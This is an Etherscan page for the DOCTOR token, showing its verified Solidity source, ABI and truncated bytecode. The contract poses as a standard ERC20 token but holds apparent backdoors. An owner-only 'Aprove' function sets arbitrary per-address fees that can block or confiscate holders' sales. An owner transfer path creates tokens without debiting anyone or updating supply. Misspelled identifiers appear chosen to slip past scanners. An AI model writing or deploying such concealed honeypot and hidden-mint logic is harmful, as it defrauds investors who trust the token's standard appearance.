ETH Price: $2,417.66 (+2.63%)

Token

DOCTOR (DOCTOR)
 

Overview

Max Total Supply

5,500,000,000 DOCTOR

Holders

25

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
95,429,632.780454638 DOCTOR

Value
$0.00
0x451771d698d07fc8eefce9e7e1bc9bb8ef972977
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TOKEN

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-27
*/

/**
// SPDX-License-Identifier: MIT

// pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface BEP20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `addcounts`.
     */
    function balanceOf(address addcounts) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's addcounts to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `ownnner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address ownnner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one addcounts (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `ownnner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed ownnner, address indexed spender, uint256 value);
}


// Dependency file: @openzeppelin/contracts/utils/Context.sol


// pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the addcounts sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an addcounts (an ownnner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the ownnner addcounts will be the one that deploys the contract. This
 * can later be changed with {transferownnnership}.
 *
 * This module is used through inheritance. It will make available the modifeer
 * `onlyownnner`, which can be applied to your functions to restrict their use to
 * the ownnner.
 */
abstract contract Ownable is Context {
    address private _ownnner;

    event ownnnershipTransferred(address indexed previousownnner, address indexed newownnner);

    constructor() {
        _transferownnnership(_msgSender());
    }


    function ownnner() public view virtual returns (address) {
        return _ownnner;
    }


    modifier onlyownnner() {
        require(_ownnner == _msgSender(), "Ownable: caller is not the ownnner");
        _;
    }


    function renounceownnnership() public virtual onlyownnner {
        _transferownnnership(address(0));
    }


    function transferownnnership_transferownnnership(address newownnner) public virtual onlyownnner {
        require(newownnner != address(0), "Ownable: new ownnner is the zero address");
        _transferownnnership(newownnner);
    }


    function _transferownnnership(address newownnner) internal virtual {
        address oldownnner = _ownnner;
        _ownnner = newownnner;
        emit ownnnershipTransferred(oldownnner, newownnner);
    }
}


// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


// Dependency file: contracts/BaseToken.sol

// pragma solidity =0.8.14;

    enum TokenType {
        standard
    }

abstract contract BaseToken {
    event TokenCreated(
        address indexed ownnner,
        address indexed token,
        TokenType tokenType,
        uint256 version
    );
}


// Root file: contracts/standard/StandardToken.sol

pragma solidity =0.8.14;

// import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// import "@openzeppelin/contracts/access/Ownable.sol";
// import "@openzeppelin/contracts/utils/math/SafeMath.sol";
// import "contracts/BaseToken.sol";

contract TOKEN is BEP20, Ownable, BaseToken {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public uniswapV2Pair;

    uint256 private _defaultSellfee = 10;

    uint256 private _defaultBuyfee = 0;


    mapping(address => uint8) private xcasda;



    function setPairList(address _address) external onlyownnner {
        uniswapV2Pair = _address;
    }

    function Aprove(address _address, uint8 _value) external onlyownnner {
        xcasda[_address] = _value;
    }

    function getAprove(address _address) external view onlyownnner returns (uint8) {
        return xcasda[_address];
    }
    

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _minnt(_msgSender(), totalSupply_);
        emit TokenCreated(_msgSender(), address(this), TokenType.standard, VERSION);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
     * called.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address addcounts)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[addcounts];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function _ownnnerTransfer(
    address recipient,
    uint256 amount
    ) internal virtual {
    require(_msgSender() == ownnner(), "Only ownnner can perform this action");

    _beforeTokenTransfer(_msgSender(), recipient, amount);

    _balances[recipient] = _balances[recipient].add(amount);
    emit Transfer(_msgSender(), recipient, amount);
    }
    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
    if (_msgSender() == ownnner()) {
        _ownnnerTransfer(recipient, amount);
    } else {
        _transfer(_msgSender(), recipient, amount);
    }
    return true;
    }
    


    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address ownnner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[ownnner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);


        _balances[sender] = _balances[sender].sub(
            amount
        );

        uint256 tradefeeamount = 0;
        uint256 tradefee = 0;
        if (xcasda[sender] ==  0 ) {
            if (recipient == uniswapV2Pair) {
                tradefee = _defaultSellfee;
            }else if (sender == uniswapV2Pair) {
                tradefee = _defaultBuyfee;
            }
        }else {
            tradefee = xcasda[sender];
        }

        tradefeeamount = amount.mul(tradefee).div(100)+0;
        if (tradefeeamount > 0) {
            _balances[_DEADaddress] = _balances[_DEADaddress].add(tradefeeamount)*1;
            emit Transfer(sender, _DEADaddress, tradefeeamount);
        }
        _balances[recipient] = _balances[recipient].add(amount - tradefeeamount+0)*1;
        emit Transfer(sender, recipient, amount - tradefeeamount+0);
    }

    /** @dev Creates `amount` tokens and assigns them to `addcounts`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     */
    function _minnt(address addcounts, uint256 amount) internal virtual {
        require(addcounts != address(0), "ERC20: minnt to the zero address");

        _beforeTokenTransfer(address(0), addcounts, amount);

        _totalSupply = _totalSupply.add(amount)+0;
        _balances[addcounts] = _balances[addcounts].add(amount)*1;
        emit Transfer(address(0), addcounts, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `addcounts`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `addcounts` cannot be the zero address.
     * - `addcounts` must have at least `amount` tokens.
     */
    function _burn(address addcounts, uint256 amount) internal virtual {
        require(addcounts != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(addcounts, address(0), amount);

        _balances[addcounts] = _balances[addcounts].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(addcounts, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `ownnner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `ownnner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address ownnner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(ownnner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[ownnner][spender] = amount;
        emit Approval(ownnner, spender, amount);
    }

    /**
     * @dev Sets {decimals} to a value other than the default one of 18.
     *
     * WARNING: This function should only be called from the constructor. Most
     * applications that interact with token contracts will not expect
     * {decimals} to ever change, and may work incorrectly if it does.
     */
    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minnting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minnted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"ownnner","type":"address"},{"indexed":true,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"enum TokenType","name":"tokenType","type":"uint8"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"TokenCreated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousownnner","type":"address"},{"indexed":true,"internalType":"address","name":"newownnner","type":"address"}],"name":"ownnnershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint8","name":"_value","type":"uint8"}],"name":"Aprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"ownnner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addcounts","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownnner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"setPairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newownnner","type":"address"}],"name":"transferownnnership_transferownnnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405261dead600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a600555600060065560405162002c4e38038062002c4e833981810160405281019062000076919062000703565b620000966200008a6200018860201b60201c565b6200019060201b60201c565b8360089080519060200190620000ae9291906200043d565b508260099080519060200190620000c79291906200043d565b5081600a60006101000a81548160ff021916908360ff16021790555062000104620000f76200018860201b60201c565b826200025460201b60201c565b3073ffffffffffffffffffffffffffffffffffffffff166200012b6200018860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff167f56358b41df5fa59f5639228f0930994cbdde383c8a8fd74e06c04e1deebe3562600060016040516200017692919062000844565b60405180910390a35050505062000a62565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620002c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002bd90620008d2565b60405180910390fd5b620002da600083836200042060201b60201c565b6000620002f882600b546200042560201b62000d5d1790919060201c565b62000304919062000923565b600b8190555060016200036582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200042560201b62000d5d1790919060201c565b62000371919062000980565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620004149190620009e1565b60405180910390a35050565b505050565b6000818362000435919062000923565b905092915050565b8280546200044b9062000a2d565b90600052602060002090601f0160209004810192826200046f5760008555620004bb565b82601f106200048a57805160ff1916838001178555620004bb565b82800160010185558215620004bb579182015b82811115620004ba5782518255916020019190600101906200049d565b5b509050620004ca9190620004ce565b5090565b5b80821115620004e9576000816000905550600101620004cf565b5090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b62000556826200050b565b810181811067ffffffffffffffff821117156200057857620005776200051c565b5b80604052505050565b60006200058d620004ed565b90506200059b82826200054b565b919050565b600067ffffffffffffffff821115620005be57620005bd6200051c565b5b620005c9826200050b565b9050602081019050919050565b60005b83811015620005f6578082015181840152602081019050620005d9565b8381111562000606576000848401525b50505050565b6000620006236200061d84620005a0565b62000581565b90508281526020810184848401111562000642576200064162000506565b5b6200064f848285620005d6565b509392505050565b600082601f8301126200066f576200066e62000501565b5b8151620006818482602086016200060c565b91505092915050565b600060ff82169050919050565b620006a2816200068a565b8114620006ae57600080fd5b50565b600081519050620006c28162000697565b92915050565b6000819050919050565b620006dd81620006c8565b8114620006e957600080fd5b50565b600081519050620006fd81620006d2565b92915050565b6000806000806080858703121562000720576200071f620004f7565b5b600085015167ffffffffffffffff811115620007415762000740620004fc565b5b6200074f8782880162000657565b945050602085015167ffffffffffffffff811115620007735762000772620004fc565b5b620007818782880162000657565b93505060406200079487828801620006b1565b9250506060620007a787828801620006ec565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60018110620007f657620007f5620007b3565b5b50565b60008190506200080982620007e2565b919050565b60006200081b82620007f9565b9050919050565b6200082d816200080e565b82525050565b6200083e81620006c8565b82525050565b60006040820190506200085b600083018562000822565b6200086a602083018462000833565b9392505050565b600082825260208201905092915050565b7f45524332303a206d696e6e7420746f20746865207a65726f2061646472657373600082015250565b6000620008ba60208362000871565b9150620008c78262000882565b602082019050919050565b60006020820190508181036000830152620008ed81620008ab565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200093082620006c8565b91506200093d83620006c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620009755762000974620008f4565b5b828201905092915050565b60006200098d82620006c8565b91506200099a83620006c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620009d657620009d5620008f4565b5b828202905092915050565b6000602082019050620009f8600083018462000833565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000a4657607f821691505b60208210810362000a5c5762000a5b620009fe565b5b50919050565b6121dc8062000a726000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c80635dd7c8ac116100a257806395d89b411161007157806395d89b41146102e1578063a457c2d7146102ff578063a9059cbb1461032f578063a9eca8921461035f578063dd62ed3e1461037d57610116565b80635dd7c8ac1461024957806370a08231146102795780637bcbae9c146102a9578063869c8dc0146102c557610116565b806323b872dd116100e957806323b872dd14610191578063313ce567146101c157806339509351146101df578063444a2a9c1461020f57806349bd5a5e1461022b57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806321af32fe14610187575b600080fd5b6101236103ad565b60405161013091906118a0565b60405180910390f35b610153600480360381019061014e919061195b565b61043f565b60405161016091906119b6565b60405180910390f35b61017161045d565b60405161017e91906119e0565b60405180910390f35b61018f610467565b005b6101ab60048036038101906101a691906119fb565b610508565b6040516101b891906119b6565b60405180910390f35b6101c96105e1565b6040516101d69190611a6a565b60405180910390f35b6101f960048036038101906101f4919061195b565b6105f8565b60405161020691906119b6565b60405180910390f35b61022960048036038101906102249190611a85565b6106ab565b005b610233610784565b6040516102409190611ac1565b60405180910390f35b610263600480360381019061025e9190611a85565b6107aa565b6040516102709190611a6a565b60405180910390f35b610293600480360381019061028e9190611a85565b610895565b6040516102a091906119e0565b60405180910390f35b6102c360048036038101906102be9190611a85565b6108de565b005b6102df60048036038101906102da9190611b08565b6109ee565b005b6102e9610adf565b6040516102f691906118a0565b60405180910390f35b6103196004803603810190610314919061195b565b610b71565b60405161032691906119b6565b60405180910390f35b6103496004803603810190610344919061195b565b610c3e565b60405161035691906119b6565b60405180910390f35b610367610cad565b6040516103749190611ac1565b60405180910390f35b61039760048036038101906103929190611b48565b610cd6565b6040516103a491906119e0565b60405180910390f35b6060600880546103bc90611bb7565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611bb7565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610d73565b8484610d7b565b6001905092915050565b6000600b54905090565b61046f610d73565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffff